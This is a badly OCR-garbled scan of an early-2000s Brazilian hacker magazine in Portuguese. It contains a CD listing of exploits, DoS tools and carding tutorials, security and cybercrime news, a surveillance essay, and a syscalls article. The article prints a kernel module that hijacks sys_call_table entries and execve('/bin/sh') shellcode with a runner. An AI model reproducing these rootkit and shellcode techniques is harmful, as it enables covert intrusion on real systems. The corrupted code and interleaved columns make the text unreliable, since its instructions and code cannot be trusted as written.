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Conectando a Internet com o Blue Box
Gravando conversas a partir de um :
telefone publico

0 universo das escutas telefonicas
Codificacao de TV a cabo

Radio Pager

Manual basico da telefonia convencional
Blue Box Tutorial

Telecard

0800 104 104 - Telefonica Automatica
TDMA vs. CDMA

Pré-pagos

Identificador de chamadas - Bina
Métodos de deteccao de clones de celular -
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22Phrack

Windows Overflow

Microsoft FTP Server Wildcard
Netscape

Windows SMTP Service Denial of Service
(BDAT)

Local and Remote Exploit For ISC DHCPd
Format

Buffer Overruns in SQL Server 2000
Remote Winamp Exploit

Windows 2000 IKE DoS Exploit Code
3com/USR Total Control Chassis
Windows share passwords

Poor Authentication NT

Microsoft private key recovery

Intel Pentium Bug

Motorola Cablerouter

WordPerfect 7

Zip

Overflow in Microsoft Netmeeting
1CQ Spoofer

Eudora 3.0 e 4.0

Overflow no MS PWS

Apache

Buffer overflow no Macromedia Flash
Windows Shatter

Symantec PCAnywhere 9.0 Denial of
Service
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Arrase todos os seus adversdrios com esse
acote de programas

07 NigthFire Codes
ge of Mitology
Airport Tycoon
no 1503
.omand & Conquer Generals v.1.2 +9

“Trainer

D 1l Trainer

GTA3: Ultimate Trainer +40 v.3
Jedi Knight.ll CODES

Nascar Revolution Trainer
Shadowmaster v.0.87beta
simCity 4 Myth Trainer.
Tropico 2 - Pirate Cove Trainer

Al Este CD-ROM contém
engan softwares que podem dznificar
computadores. Eles foram incluidos neste CD exclusivamente
para estudo e desenvolvimento técnico. Nao nos responsabiliza-
mos por seu uso indevido. O uso destes softwares para
prejudicar terceiros é crime, passivel de punicao.
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Dezenas de tutoriais publicados por trés

"LINUX TOOLS ]

% Tudo para vc hackear usando Linux

~ Access Point Utilities for Unix 1.3.1
* Aldebaran 3.0.2

Edicao #39 a #60 “t
Celular Info. e How to Hack BlackJack a
Intro to Packet Radio e Safe and Easy
Carding
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Static Kernel Patching e Firewall Spottlng

>>Fatal 3rror

Edicédo #00 a #07

Buffer Overflows e Secret Backdoors
FTP Brute Force e DDoS

Firewalking e Escuta em cells digitals
Virii in Linux e Wrapper + C + Xterm
Buffer Overwrite e Perl Sockets
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segredos do seu telefone

St ESpionagem
Digital

0S OLHOS GRANDES ESTAO,VIGIANDO
Como fazer e como evitar

>>Sysecalls

D
omme o acesso a dispositivos

. AAFID2

lioS WormWarn 1.0
Kernel 2.4.0

“BannerFilter 1.21

Apache Compile How To
Jay's Iptables Firewall 0.9.4

de hardware no seu SO

su 0.8.2

inome Display Manager 2.4.1.1
jofish 0.27

otmail 0.7.7

DtGNU Portable.NET 0.5

proxy e flltre'tudo que
entra no seu micro

outros

Confi 30 minil

do PC Pentium 233 com 32 MB de

EXPLIGIT SOFTWARE

A n v I s u n v RAM e drive de CD com velocidade dupla. Os requisitos podem variar

de acordo com o programa, alguns podem nao rodar no Windows XP

O contetdo do CD-ROM é formado por softwares freeware e
versoes de demonstracao
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Crime ¢ néo Aprende

CH3F

nde todos os segredos do submundo dos hackers

< A Siie ~ . . ; > //
Vocé pode adquirir Promo a0 de // Aprenda as mais modernas técnicas de invasao e glefesa
: q g // Conheca os assuntos que um hacker deve dominar //

qualquer el Lansamento // Saiba tudo o que € necessario para se proteger _//
// Grade curricular completa do curso, com as disciplinas:
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Plataformas Microsoft, Unix e Apple — Laboratorio de Redes - Hardware
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preferidas pelos hackers
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- é quase uma invasao

Pensando em um t
com uma enxurrada

hackers criminosos, es

ddlares de lojas de
que os dias em que 0s scrip
apenas em invadir servidores e pi

(ou crackers, para deixar evidente
tornam mais habilidosos. £

E nao ha como tapar os olhos para e
fazer, entdo? Simplesmente declara
comuns e tentar prendé-los? Ou |
por todas que a Internet ndo tem
realizar operagoes de e-commerce?
Porque para nos, da Revista Hég y, €
que vai muito além dos velhos cha

mal. A existéncia de tantos car

nossos dados pessoais (incluindo nossos i n
cartao de crédito) sem saber que tudo isso po
usado por quem quer que fosse, quando ne:
sejam grandes empresas sedentas por lucre
governos com seus sonhos imperialistas.
Portanto, se esta revista existe, é para trazi
outro significado da acao de carders e afin :
ai porque ha brechas e falhas graves a ex
preciso estar atento e entender o funcion
Rede, para saber como se defender.

Nesta edicdo, trazemos mais uma vez uma
quantidade de material para tornar o nosso bu blico
menos uma marionete, e mais um agente conscien

desses tempos. Abordamos desde o funcionamento das
S

syscalls, dos kernel modules e dos honeypots a
explicacoes sobre vulnerabilidades nos servidores do
Kit.net, e apresentamos também uma matéria sobre o
futuro da privacidade na Rede, em tempos de guerra.
Isso sem contar as dezenas de tutoriais presentes no CD,
acompanhados de programas usados nas principais
técnicas hackers da atualidade.

Enfim, tudo isso para dizer que nao estamos aqui para
defender ninguém, muito menos carders ou criminosos
em geral. Apenas defendemos o direito ao
conhecimento como a melhor maneira de nos
defendermos de quem quer que seja. Bom estudo.

O Editor

120 - Linux Kernel |
 Modules - |

nefab / ;




saLuUem 0S HACHers!

Advogados querem penas mais brandas
para crimes eletrénicos

€ [guase) campean!
Brasil e EUA sao maiores “vitimas” dos
hackers

Que o Brasil lidera o
ranking do hackerismo
mundial, como o pais
que mais hackers

* produz e que possui 0s
grupos mais ativos, todo
mundo ja sabe.

A novidade é que os

£ hackers brazucas podem
estar agindo muito mais
em casa do que no
exterior, ao contrario do
que se possa concluira
partir da fama internacio-
nal que alcangaram.

A base da teoria estd em

um recente estudo
publicado pela empresa de seguranca eMarketer. Segundo a
empresa, EUA e Brasil lideram o ranking dos paises que mais
sofrem ataques, registrando, respectivamente, 26.792 e 5.568
invasoes em 2002.

£ mais um motivo para os sys admins se preocuparem com a

“ seguranca. E os hackers também, claro. Afinal, como aponta a
pesquisa, quern d4, recebe :)

Site: http:/live.emarketer.com

O maior grupo de advogados dos EUA, em conjunto com a
Electronic Frontier Foundation e o Sentencing Project, publicou um
trabalho em que critica a severidade com que os hackers estao
sendo julgados no pais.

Para os advogados da National Association of Criminal Defense
Lawyers, os casos envolvendo hackers sao sempre julgados tendo
em vista cenarios pessimistas, relacionados com o terrorismo, € nao
com a situacao real de cada caso. O medo causado pela fragilidade
da seguranca dos meios eletrénicos e da escalada do terrorismo faz
com que os hackers sejam julgados de forma injusta. Na maioria
das acusacoes, os crimes devem ser vistos como fraudes financei-
ras, e nao como atos de terror, segundo o grupo.

A persequicao aos hackers aumenta em paises como os EUA e 0
Reino Unido na medida em que se torna mais proxima a guerra
contra o Iraque. Para ler o estudo, va ao endereco http//
cyberlaw.stanford.edu/about/cases/1030%20Comments %202-
19-03.pdf.

miLHOes pe carsoes ne

Crenico rouBsanos
Este é o saldo de um ataque investigado
pelo FBI

O FBl esté investigando um
ataque hacker que pode ser o
maior ja
realizado The Goritla fPundation

contra CIEN BT
empresas
de cartées
de
crédito. A
empresa
em questao é a Data Processors International, que processa
transacoes de cartoes de crédito para as marcas Visa, MasterCard,
American Express e Discover. Aproximadamente 8 milhoes de
ntmeros de cartées, além de dados pessoais cadastrados, podem
ter sido roubados. Os clientes prejudicados sdo todos dos EUA, e
entre eles estao 2 milhées do MasterCard e 3 milhdes do Visa.
Segundo a Data Processors, nao havia indicios de que os dados
tenham sido usados de forma fraudulenta. A empresa chegou a
garantir aos Usuarios que eles nao seriam prejudicados. Esta
fazendo o seu papel, mas, na verdade, ndo ha como garantir isso.
Ela chegou ainda a se eximir de responsabilidades, citando sua
politica de privacidade.

NOUo CauaL0 De rgia rousea
SENHAaSs D0 WiNDoWS
Mais um problema para os usudrios do sistema

SE U SOuUBesSse guem me

manoou esse sPadm, eu macanrid

Muitos ja disseram isso, mas um colocou essa
idéia em pratica

Mais um cavalo de tréia foi descoberto. O W32/Lovgate.worm, como
foi batizado pela McAfee Security, tem a capacidade de infectar
redes compartilhadas roubando a senha do Windows. Ele funciona
tanto como backdoor quanto como worm. Quando o Lovgate é
executado, ele cria vérios arquivos no diretério System do Windows,
como o WinGate.exe; rpcsrv.exe; syshelp.exe; winrpc.exe e
WinRpcsrv.exe.

Nao bastando isso, ele altera o registro do Windows e o Win.ini, para
que seja inicializado quando o Windows comegar a funcionar.
Quando o virus ja esta dentro do sistema, ele tenta enviar para seu
autor varias informacoées, nas quais muitas vezes estd o serial do
Windows. Ele também faz muitos arquivos executdveis nas pastas
compartilhadas, sé para enganar os usuarios.

A McAfee considera o risco de contaminacao pelo virus W32/
Lovgate.worm ainda baixa.

Um aposentado da Republica
Tcheca, de 72 anos, suposta-

Nigéria em seu pais, Michael
aconteceu porque o velhinho
ele, enganara-o.

de um spam que pedia a

nouop

dos quatro digitos de délares para uma conta na Nigéria.
O pagamento que ele efetuou ficou retido em seu pafs;
entdo o aposentado foi convidado a resgatar o valor. De
acordo com a mensagem, o dinheiro seria descontado
pela vitima e repassado a empresa da Nigéria. Como
garantia, no entanto, a vitima doaria uma quantidade
em ddlares para uma conta nigeriana. Poderia entéo
sacar o dinheiro a ser repassado e ficar com apenas uma
determinada porcentagem.

De acordo com o site ZDNet, o aposentando teria
entrado em contato com a embaixada para reclamar da
auséncia do dinheiro prometido pela empresa nigeriana,
e que teria ido ao local para se vingar. O velho esta
detido. Imagine se a moda pega...

| mente matou o embaixador da
Lekara Wayid. Esse tragico fato
. recebeu um spam que, segundo
0 aposentado caiu na histéria

doacdo de uma quantia acima

o e e

roGrama parad
sSeGuranca e
emPresas e
dNUNCiaD0 PeLa
MiCrosor:

Empresa tenta acabar com a ma
fama na area

Estd prestes a ser
lancado pela

Microsoft um novo
programa

visando a
méxima seguran-
ca para grandes
empresas. Este
software possibilitara

um maior controle sobre ;
documentos internos, para que dados financeiros ou
e-mails possam ser extraviados para a Internet,
caindo no conhecimento geral, e na maioria das vezes
com consequiéncias nada agradéveis para quem os
perde.

Esse novo programa da Microsoft faz parte da sua
estratégia chamada “Informatica confidvel”, cujo

objetivo é aumentar muito a seguranca nos
ambientes de rede.

Esse novo software foi desenvolvido também
para tentar provar que os programas desenvolvi-
dos pela Microsoft podem ser seguros, motivo
pelo qual a familia Windows é duramente
criticada, e com razao.




ANONIMaGo Nna
inGernes pone

dcaBar
Lei quer punir quem pratica
delitos na Web

O primeiro projeto de lei de 2003 tratando
de Internet foi apresentado pela parla-
mentar petista lara Bernardini. Essa lei visa
a coibir o anonimato dos responséveis por
péaginas da Internet e enderecos eletréni-
cos registrados no Brasil. Segundo

a deputada, " o projeto de lei vem

ao encontro do clamor da

socledade por instrumentos que
permitam a identificacdo e punicao
daqueles que se utilizam da

Internet para a pratica de deljtos" .

Sao citados pela deputada os casos

de pedofilia, exploracao de

menores, estelionato e apoio ao

trafico de drogas e ao terrorismo.

Para lara Bernardini tudo isso acontece
pela impunidade causada pelo anonimato
das pessoas. Ela conclui: ” Entendemos que
um grande passo serd dado no
sentido de coibir a criminalidade no
Brasil com a aprovacdo do projeto.
Outros palses poderdo sequir o
exemplo brasileiro, tornando a Rede
Mundial mais segura para todos" .

UiDa Durd...
Novo programa descobre invasées em tempo real

Um novo software promete
tornar a vida dos hackers
um pouco mais difcil. Ele
esta sendo desenvolvido
pela State University of
New York e po'de flagrar
invasoes em tempo real.

O programa podera gravar
todas as digitagoes dos
usuarios da rede, analisando
seqliéncias de comandos, o
que pode levantar questoes
polémicas, envolvendo o direito & privacidade. Mas ele vai além de um simples programa
espido. Ele pode determinar comportamentos estranhos dos usuarios e até distinguir se ha
alguém operando com uma senha roubada ou entrando, inadvertidamente, em uma zona
proibida. A partir daf, ele entra em contato com o administrador do sistema, que tem
tempo de impedir a invaséo ou contra-atacar.

A tecnologia deverd ser usada apenas em sistemas que exigem altissima protecao,
como instalacdes militares e agéncias governamentais, bem como bancos e outras
redes comerciais que utilizem dados pessoais importantes.

GUerra aos crianores De uirus
Reino Unido prende trés em menos de um més

Primeiro foi Simon Vallor, o criador dos virus
Gokar, Admirer e Redesi, que foi condenado
a dois anos de prisao, no Reino Unido. Agora,
dois outros hackers foram presos no pais,
deixando clara a intencéo do governo de coibir
os crimes digitais.
® Vallor nasceu no Pais de Gales e, aos 22

anos, criou pragas que
infectaram cerca de 27 mil

PCs em 42 paises diferentes. A sentenca que recebeu foi uma

das piores j& dedicadas a um hacker. Para comparar, o

autor do Melissa, um virus muito mais destrutivo, pegou 20

meses de cadeia.

Os outros hackers presos foram um eletricista de 19 anos e um

desempregado de 21. Eles foram encontrados por uma forca

tarefa que inclufa a policia britanica e dos EUA e sao acusados de

criar o virus TK, que infectou 18 mil maquinas ao redor do mundo,

causando prejuizos de US$ 9 milhdes.

Os dois fazem parte do grupo “THr34t-Krew”. A priséo foi feita

com ajuda do CATCH (Computer and Technology Crime Hi-Tech

Response Team), que tem membros do FBI, Departamento de Justica

e Servico Secreto dos EUA.

ma-emau-ca HEII:HEI‘

Nameros de ataques caem, mas invasdes crescem

O c1bercnme esta crescendo A ffase que ;é, virou cbavao agnra conta com dados mais concretos

em milhées se nao
; contas bancérias, como també
ididas a empresas concorrentes.

f nca, que,naofazmurto tempo, colocou o Brasil como

6 mil, respectwamente
,a cabo por ladroes clbemettcos

; de mformagées corporatlvas |mportantes que sao

Como contraponto aos dados da mi2g, a Symantec divulgou um estudo em que o
numero de ataques hackers no segundo semestre de 2002 caiu 6% em relacdo a
semestres anteriores, embora as vulnerabilidades, em 2002, tenham crescido mais de
80% em relagio ao ano anterior.

Descontando o fato de que as estatisticas ndo diferenciam hackers e crackers (o
que seria muito relevante), a justaposicdo de ambas podem apontar para pelo
menos duas conclusdes: 1) elas estdo em conflito; 2) os invasores ficaram mais
eficientes: o nimero total de ataques caiu, mas o de bem-sucedidos bateu
recordes... Vocé escolhe o final.

sSPammenrs SUcHSs! - Fase il

EUA fazem cruzada que envolve
comércio, governo e até a Microsoft

O cerco aos spammers esta se fechando também em outros
lugares do mundo, sobretudo nos EUA. Até a Microsoft entrou
na onda, quem diria! A todo-poderosa informou que esta
processando spammers para proteger seu servico Hotmail, cuja
fama de ser o paraiso da propaganda nao-autorizada jé atingiu
niveis excepcionais. Os nomes dos envolvidos nao foram
divulgados.
Em nivel governamental, a Califérnia,
um dos estados americanos mais
populosos, ja apresentou uma
proposta, por meio da senadora
Debra Bowen, que criminaliza o
spam, instituindo uma multa de
. pelo menos US$ 500 por cada
infracdo. Bem mais caro deve
pagar Samuel Meltzer, que,
acusado de ter enviado 37
milhdes de spams do estado
de Minnesota, estd sendo
processado pela Securities
and Exchange Commission
(SEC), 6rgao regulador do
mercado acionario dos EUA...

EUR H Irague

FBI ndo apdia ac¢des hackers contra o
Iraque

Com a atual
ameaca de guerra
entre EUA e
Iraque, o clima no -
mundo é tenso.
Uns aprovam e
outros sao contré
as idéias do

~ presidente norte-
" americano. O ataque pode se estgnder além da guerra

convencional, partindo para uma guerra virtual. Isso se deve
ao aumento das atividades hac eutre esses dois pafss s, (0
que as autoridades norte—amencanas j& se declararam cbntra)
“Patriotas de verdade néo invadem sites de inimigos”, este foi
0 apelo feito pelo Centro de Protecdo da Infra-estrutura
Nacional (NIPC) do FBI, e afirma ainda em seu web site que
atividades hackers, mesmo com fins patnétlgos séo lleg@us
passfveﬁs de punigoes e nao serao apmadas,ueiqs Estados
Unidos. O alerta surge menos de uma semana depors que
mefﬁ ros do governo norte-americano conflrmaram que o




www.zone-h.org

ww de/t5. co. b ;

0 ESPELHO Gem Duds FACEeS

Sites de mirrors viram aIvo de defacers
£ costume as pessoas pensarem g s sites dg@gf’r@rs ‘que registram
invasdes, estariam livres delas exa nte por essa fungao que da
' fama aos grupos hackers.

‘ De fato, pela Iogvca é o que podemos @

. preferidos de defacers.
Recentemente, dois e \de
brasileiro Delta5 e o Blat

dicéo, estava redire ¢
servicos semelha ‘

encerraria suas atividade

Sites: www.delte
' wwwblackhat ,

' www.zone-h.o
. www.totalsecurity

g

banco para o

Frauoe Na In:erne.

Presa quadrilha que fraudava
contas
bancarias

A prisdo de
Guilherme
Amorim é mais
um exemplo de
como trabalhar
e manipular
contas bancarias
na Internet é um
meio pratico
mas muito
arriscado.
Guilherme, que
tem 18 anos, foi

detido em Petrépolis, no Rio de Janeiro, acusado de _

aplicar golpes em correntistas de bancos. A policia
apreendeu também em Americana, no interior de
S&o-Paulo, sua namorada, Maria Cecilia Faria
Martins, conhecida por Ceci, e em Corumbé, no
ato Grosso do Sul, o soldado da Policia Militar,
vananci Soares Alcantara.
No pbrta,nl (notebook) apre

e consistia e
dereco ele
uina sob o controle do
esmo, No qualf (s ressad&é%essar
a conta ban .

ero da cor

sPammenrs SUCHS!

Projeto de lei pode evitar transmissao de dados
pessoais

Quer uma palavra que
esteja mais em voga
no ciberespaco do que
“privacidade”? Ndo é
por acaso: as
desenvolvedoras de
software e a indUstria
do entretenimento
insistem em bolar
ferramentas que sao,
no minimo, passiveis de
desconfianca. E isso sem falar nos spammers da vida, que lotam nossas caixas postais...
Bom, mas quasetudo pode mudar em breve aquino Brasil - pelo menos, essa é a idéia. O
deputado federal Neuton Lima (PTB-SP) tornou-se autor de um projeto de lei que pretende
coibir a transmissao de dados pessoais a terceiros, visando a preservar a privacidade.
Segundo o deputado, dados fornecidos em cadastros ou transacées pela Web
freqlientemente séo fornecidos para “servicos” de malas-diretas — nenhuma novidade
—, ndo raro com remuneracao de quem coletou o dado.
O projeto pretende acabar com a pratica por meio da legislacao. Infelizmente, o
problema da transmissao de dados para as grandes corporacoes ficou de fora.
Bem que alguém podia ter a luz... :

' EUR ConGra o

Gerromsmo

Uniao Européia aceita
passar dados de seus
cidadaos para os EUA

Mais uma prova de que o poder
econdmico sempre fala mais alto.
As empresas européias tiveram de
ceder para cumprir a lei americana
e continuar operando no pals.
Segundo a Homeland Security Act,
aprovada depois dos atentados ao WTC, os EUA devem criar um banco de dados com
informacdes sobre os passageiros de véos, inclusive os internacionais.
Entre as informacoes que serdo passadas aos EUA estdo nlimeros de cartao de crédito
(1), nimero de telefone, itinerdrio, etc. Com isso, o pafs ird controlar toda e qualquer
movimentacao terrorista que tentar circular e embarcar em v6os que passem em
territério americano.

~
BASGd um CD pard
inuanir o

WiNnDOWS HP
Disco do Windows 2000
dribla protecédo por senhas

Que a seguranca do Windows é ruim, todo
mundo sabe. Mas que bastava um CD do
Windows 2000 para entrar em um sistema
XP com todos os privilégios, isso é novidade.
Mesmo protegido por senha, o micro pode
ser invadido facilmente. A técnica é tao
simples que abre o sistema para qualquer
um, mesmo sem nenhuma habilidade com
técnicas hackers. E preciso ter apenas
contato fisico com a maquina. Com o CD
do 2000, o invasor boota o sistema e entra
no console de recuperacao, com privilégios
de administrador. A partir dai, ele ja pode
fazer tudo no micro, incluindo criar, mover
e apagar arquivos. E possivel também
copia-los para disquetes ou outras midias. A
falha afeta todas as contas de usuérios do
XP, protegidos por senhas ou nao.

A Microsoft jé foi avisada, mas nada fez
ainda sobre o assunto. A noticia é um prato
cheio para script kiddies que querem
invadir sistemas, mas ndo sabem como, e
péssima para empresas e organizagoes que
contém dados sigilosos e ainda usam o
inseguro SO de Bill Gates.

&




SYSCALLS

Antonio Marcelo
amarcelo@plebe.com.b
: ! 2 section .data
zem exatamente o que ele deve fazer em uma determinada -
OpSIaEaQ espeCIflca. msg db “Mostrando algo na tela - SYSCALL
47 Bxa

len equ $ - msg

section .text

s de hardware. No caso do Linux, todos estes aces-
por syscalls. Normalmente, quando queremos ver
—de um diretério utilizamos a fungéo Is, ou se, htaat:

global _start

mov ebx,1
mov eax,4 ;chamada da syscall 4
mov edx,len
mov ecx,msg
4 int Ox88
mov ebx,8 ;chamada da syscall O
mov eax,1l
int
eira simples a chamada de uma syscall ck Para compilar e li
write. Esta syscall escreve em um dispositivo
ma coisa, fazendo uma mensagg@n S nriBani e
r na tela. Vamos utilizaro - . = . _
Assembler encontrado Rode o programa ea mensagem aparec
forgé«net pois :

nasm -elf asml.s

e aprofundar s , . ;
melhor do cenario de siste acio e, sobret . TEE 3 ) to gr o DX. Este n tllIZadQS para
suaseguranca. o ; : ; i n nci ) éticos. Os mesmos

7

Introducao

mov ebx,1
mouv eax,4

Simples programa que invoca a System Call -8 = ) . axcorﬁ4 Quatroéovalor da

sEite & 0 parametro que indica que stdout sera

Modificado a partir do Hello World do NASM ) ;
gmda, carregamos a mensa-

; grave-o como asml.s

Algumas maneiras de conhecer um podco-mais o sisiema
e alquns recursos utilizados por programadores malfmosos i

P L,
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 a) Escrever diretamente em cédigo hexadecimal - ou seja, ;
i Starting program: /root/saida

Breakpoint 1, 9x888483£f6 in main ()
(gdb]
[gdb) disas _exit

return ; colocar os cédigos representantes das operacdes em

assembly (nunca vi nenhum ser humano fazer isto...)

b) Fazer o programa em assembly e extrair o c6digo - é
raramente utilizada, contudo, alguns programadores mui- .
to experientes, mas muito mesmo, costumam fazer desta

int init_module (void)
-
original_call=sys_call_table [SYS_mkdir];

Dump of assembler code for function _exit: ?

Ox400cB6808 <_exit>: mov %ebx ,%edx
Ox400cB682 <_exit+2>: mov

Ox4 (%esp,1) ,%ebx
Ox400cB686 <_exit+6>: mov $0x1,%eax
Ox4808cB68b <_exit+1ll>: int $8x80
Ox4808cB68d <_exit+13>: mov %edx , %ebx

sys_call_table[SYS_mkdir]= minha_syscall; " maneira

¢) Escrever em C e desassembla-lo (desculpe por este tlti-
mo termo...) - a maneira mais comum e que dez em cada

dez programadores gostam de utilizar. Falaremos dela em'
nosso artigo. : 9x4808cB68f <_exit+15>: cmp
$OxEEfEEE001, %eax
Ox480c6634 <_exit+28>: jae Ox408c6696
<_exit+2e>
Ox4808cB6386
Ox4808c6697 <_exit+23>:
<_exit+28>
8x4008c669c <_exit+28>: pop %ebx
Ox40808c669d <_exit+29>: xor %edx ,%edx
Ox40808cB69f <_exit+31>: add $8x7a7bc,%ebx
9x40808cB6a5 <_exit+37>:‘ sUb’  %eax , %edx
Ox4808cB6a7
9x488c66a8 <_exit+48>: call 0Ox4803bb0l8
<_dl_pagesize+160212> '

return §;

void cleanup_module (void)
{
sys_call_table[SYS_mkdir]= original_call;

<_exit+22>: push %ebx
9x488cB69¢c

#include <stdlib.h>

void main(]) {
exit (8] ;

<_exit+39>: push %edx

Ox4808cB6ad <_exit+45>: pop %ecx

8x4080cB6ae <_exit+46>: %ebx
Ox4808cB6af ‘<_exit+47>: mov %ecx, (%eax)
9x408cB6bl <_exit+48>: or

$OxffEEFEEF, Seax

Ox480c66b4 <_exit+52>: Jjmp N)é4&8c8696

<_exit+ee>

/*Exemplo de corrupcao de sys_éall*/
/*carregue-o como insmod modulo.o*/
/*para remove-lo utilize co comando rmmod

modulo*/ : )

/* salve-o como modulo.c */
/* para compilar digite */
/*gce -D__KERNEL__ -DMODULE -DLINUX -02 -

Wall -I. -I/usr/srec/linux/include -c -o

End of assembler dump.
[gdb)quit

modulo.o modulo.c*/

o i
/*por Antonio Marcelo */ rootBoldmbox: ~# gdb ./saida

GNU gdb 5.2
Copyright 2882 Free Software Foundation, Inc.

Ox40808cB680 <_exit>: mov %ebx ,%edx
Ox40808cB682 <_exit+2>: mov Ox4 (%esp,1l) ,%ebx |
Ox480cB686 <_exit+6>: mov $0x1,%eax
9x408c668b <_exit+1ll>: int $0x80

/*Cog‘n este modulo carregado nao e possivel

criar diretorios*/

GDB is free software, covered by the GNU Ge-

#include <linux/kernel.h> neral Public License, and you

#include <linux/module.h> are

includ g Initshns . 5 . F
#include <linux/init.h> welcome to change it and/or distribute copies

#include <linux/unistd.h> of it under certain

#include <asm/uaccess.h> : St
conditions.

Figeludeilaex/ sehed Type “show copying” to see the conditions. ‘ et i
HineludeiSayaERd iy There is absolutely no warranty for GDB. #lnelude sotd il

Type “show warranty” for
details.

extern void* sys_call_tablel]; main(]) {

This GDB was configured as “i3B86-slackuware- e (
asmlinkage int (*original_call) (const char TaimuRe : mov'  %ebx,%edx
*path) ; . (SHA]. b mov $0x1,%eax
S Breakpoint 1 at OxB8483£6 St nan
asmlinkage int minha_syscall (const char (gdb) r

4lkg

*path)

113
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root@oldmbox:~/shellcodin§# gdb saida

GNU gdb 5.2

Copyright 2802 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General
Public License, and you ;

are

welcome to change it and/or distribute copies of
it under certain

conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB. Type
“show warranty” for

details.

This GDB was configured as “i386-slackware-
linux”...saida: No ;uch file or

directory’

(gdb) disas

No frame selected.

(gdb) disas main

Dump of assembler code for function main:
OxB808483cl <main>: push %ebp
OxB808483cl <main+l>: mov %esp,%ebp
Ox80483c3 <main+3>: mov %ebx ,%edx
Ox80483c5 <main+5>: mov $0x1,%eax
8xB80483ca <main+18>: int $0x88
9x808483cc <main+l2>: leave

8xB808483cd <main+13>: ret

8xB80483ce <main+14>: nop

8xB808483cf <main+15>:

End of assembler dump.

(gdb)

8xB88483cl <main>: bus; %ebp
0xB88483cl <main+l>: mov %esp,%ebp
Ox80483c3 <main+3>: mov %ebx,%eﬁx
8x808483cS <main+5>: mov $0x1,%eax
9xB808483ca <main+10>: int $0x88

push  %ebp

¢
&

(gdb] x/bx main
OxB88483cl <main>:
(gdb) x/bx main+1
Ox808483cl <main+l>:
[gdb] x/bx main+2
OxB8483c2 <main+2>:
(gdb) x/bx main+3
OxB08483c3 <main+3>:
(gdb] x/bx main+4
Ox80483c4 <main+4>:

(gdb) x/bx main+18
0xB0483ca <main+18>:
(gdb) x/bx main+11
8xB08483cb <main+ll>:

char

shellcode[]="}xSB\xBQ\xeS\xBQ\xda\xbB\x&l\x&&\x&&\xﬂ&\

 xcd\xB8";

>

main () {
void(*x) (void] ;

x=(void*) shellcode;

xi()E;

v

Uma chamada de Shell

/* Chamada de syscall execue em assemby
g A :
main (]
{
giia gmitafie
XOT _%eax,*aax
push %eax
push $8x68732f2f /* chamada de //sh
push $8xBeB9622f /* chamada de /bin
mov %esp ,%ebx
push %eax
push  %ebx
mov %esp,%ecx
XOT %edx , %edx
/* abaixo chamada da syscall 11(b em‘hexa]

moub $8xb,%eax
/*

int  $0x88"

18

oldmbox# ./exe
sh-2.05a#

char . : : : :
shg;lcade[]="\31\xc8\x5&\x8B\fo\fo\x7B\XBB\xSB\XEf\xBE\x
BQ\xBe\xB9\xe3\xSs\x53\xB9\xe1\x31\xd2\xb8\x0b\xcd\x88";

main () {
"ubid[*x]-[uoid];

x=[uoid*jshellcode;

x5

e

/usr/include/asm-i386/unistd.h - Kernel 2.4.x
/ust/include/sys/syscall.h - Kernel 2.2.x

" #ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_

/%
* This file contains the system call numbers.
7

#define __NR_exit
#define __NR_fork
#define __NR_read
#define __NR_uwrite
#define __NR_open
#define __NR_close
#define __NR_waitpid
#define __NR_creat
#define ___NR_link :
#define __NR_unlink 18
#define __NR_execve

(syscall write)

i

®© 0o N O g GO PO

11 (syscall execue)

Conclusoes
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A Short Introduction to Operating Systems, de Mark
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BIG BROTHER

O governo dos EUA quer controlar tudo o

O Grande Irméo eSta » que os cidadaos do mundo fazem. Guerra

contra o terrorismo ou nascimento de um

(superfascismo? Descubra como eles querem

® |
m E l 1 S per“ l O -‘ saber todas as informacoes da sua vida.

e [
Marcelo Barbao dO u e Se 1(1/) P l In 3 !
mbarbao@digerati.com. br .

m 1949, o escritor britanico George Orwell escreveu uma das

novelas mais sombrias sobre a falta de liberdade e o controle

do Estado sobre o individuo. O nome do livro era 7984. Orwell
era anarquista e seu livro misturava elementos dos dois Estados mais
totalitarios que a humanidade viu até o momento: a URSS stalinista e a
Alemanha nazista.

No livro, Winston Smith é funcionario do partido que domina um pais
chamado Oceania, que junta a América do Norte, Africa do Sul e Austra-
lia, além da Inglaterra, onde Smith vive.

Todas as casas possuem telas que transmitem propagandas e boletins
do governo 24 horas por dia. Elas nao podem ser desligadas e, pior, pos-
suem cameras e microfones. Sua utilidade é bastante evidente. Elas ser-
vem para espionar os cidadaos.

Este livro, que pode ser considerado um precursor dos livros cyber-
punk ou de pesadelo tecnoldgico, como ficaram conhecidos nos anos 80,
esta para se tornar realidade. Se a populacao deixar, é claro.

Controle total Inteligéncia -, foi uma caca as

de pe Até os dias de hoje

Por mais incrivel que possa parecer, este “1984" nao esta
sendo construido na Coréia do Norte comunista, em Cuba,
de Fidel, ou nos paises islamicos mais fechados; esta sendo
construido no pais que, supostamente, € o maior defensor
da democracia e dos direitos individuais: os Estados Unidos

O controle sobre vozes dissidentes nao é algo novo no munistas (quer dizer,
pais de Bush. Nos anos 50, liderados pelo famigerado sena- mas sdo os terroristas
dor McCarthy, mithares de artistas e intelectuais sofreram
nas maos do anticomunismo mais infantil. Muitos acabaram
por abandonar o pais. Quando tiveram de enfrentar uma que o presidente Bush vai impondo uma restritiva e
onda maior, mais organizada e mais violenta de reptdio ao antidemocratica legislacao. Ha pouco, no fina
“American Way of Life”, seus métodos também consequi-
ram ir além da mera perseguicao. O Cointelpro, sigla para

Counter Intelligence Program - ou Programa de Contra-




Total Information Awareness (Conhecimento Total da
Informacao) é o nome desse programa. Ele esta sendo
desenvolvido pelo Departamento de Defesa, a cargo do
ja famoso John Poindexter, um dos chamados “falcoes”
do governo norte-americano

Poindexter ronda a Casa Branca ha uns 20 anos. Ele foi
assessor de seguranca nacional do governo Reagan entre
1985-86 e um dos “idealizadores” da famosa operacao
Ira-Contras. Armas ilegais eram vendidas ao Ira (mas eles
nao eram inimigos?) e o dinheiro era enviado para os
contras que, durante mais de dez anos, destruiram a
economia nicaraguense.

Depois de ser condenado e reverter as acusacoes num
tribunal de apelacao, no comeco dos anos 90, Poindexter
voltou a Casa Branca pelas maos de Bush. E para criar e
implementar o mais absurdo projeto de controle da histo-
ria. O TIA é a conseqliéncia natural da politica
antidemocratica que Bush vem implementando desde os
atentados de 11 de setembro de 2001. O Patriotic Act
(Decreto Patriotico), aprovado pela Camara de Deputados
e pelo Senado-em apenas seis semanas, da poderes quase
ditatoriais ao presidente e as forcas de seguranca. E per-
